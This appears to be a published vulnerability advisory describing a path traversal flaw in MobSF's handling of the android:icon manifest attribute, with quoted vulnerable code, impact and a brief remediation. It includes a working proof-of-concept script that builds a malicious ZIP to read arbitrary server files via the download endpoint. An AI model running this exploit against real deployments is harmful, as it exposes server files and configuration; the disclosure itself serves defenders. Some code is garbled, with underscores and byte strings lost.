PT-2026-80660 · Pypi · Mobsf

Published

2026-08-19

·

Updated

2026-08-19

CVSS v3.1

5.5

Medium

VectorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

Summary

The find icon path zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.
An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED EXTENSIONS.

Details

elif icon path.startswith(('res/', '/res/')):
  stripped relative path = icon path.strip('/res') # Works for neither /res nor res
  full path = os.path.join(res dir, stripped relative path)
  if os.path.exists(full path):
    return full path
  full path += '.png'
  if os.path.exists(full path):
    return full path
This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD DIR/<md5>-icon.<ext>:
icon file = find icon path zip(
    app dic['md5'],
    res path,
    icon from mfst)
  if icon file and Path(icon file).exists():
    dwd = Path(settings.DWD DIR)
    out = dwd / (app dic['md5'] + '-icon' + Path(icon file).suffix)
    copy2(icon file, out)
    app dic['icon path'] = out.name
Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):
import hashlib
import io
import zipfile

DEFAULT HOST = "http://localhost:8000"
DEFAULT TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST TEMPLATE = """
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
  package="com.poc.icontraversal">
  <application android:icon="{target}"
         android:label="PoC App">
    <activity android:name=".MainActivity">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
      </intent-filter>
    </activity>
  </application>
</manifest>
"""

MAIN ACTIVITY = """
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT HOST
target = DEFAULT TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP DEFLATED) as zf:
  zf.writestr("AndroidManifest.xml", MANIFEST TEMPLATE.format(target=target))
  zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN ACTIVITY)
  zf.writestr("res/drawable/placeholder.png", b"x89PNGr
x1a
")

# compute hash
zip bytes = buf.getvalue()
md5 = hashlib.md5(zip bytes).hexdigest()

# write to disk
out file = "poc icon traversal.zip"
with open(out file, "wb") as f:
  f.write(zip bytes)

import os
target suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download filename = f"{md5}-icon{target suffix}"

print(f"[+] ZIP created : {os.path.abspath(out file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"  {host}/download/{download filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon path field in the scan report (if the target does not exist the path will be empty).
Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is path traversal function to validate user input.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3689

Affected Products

Mobsf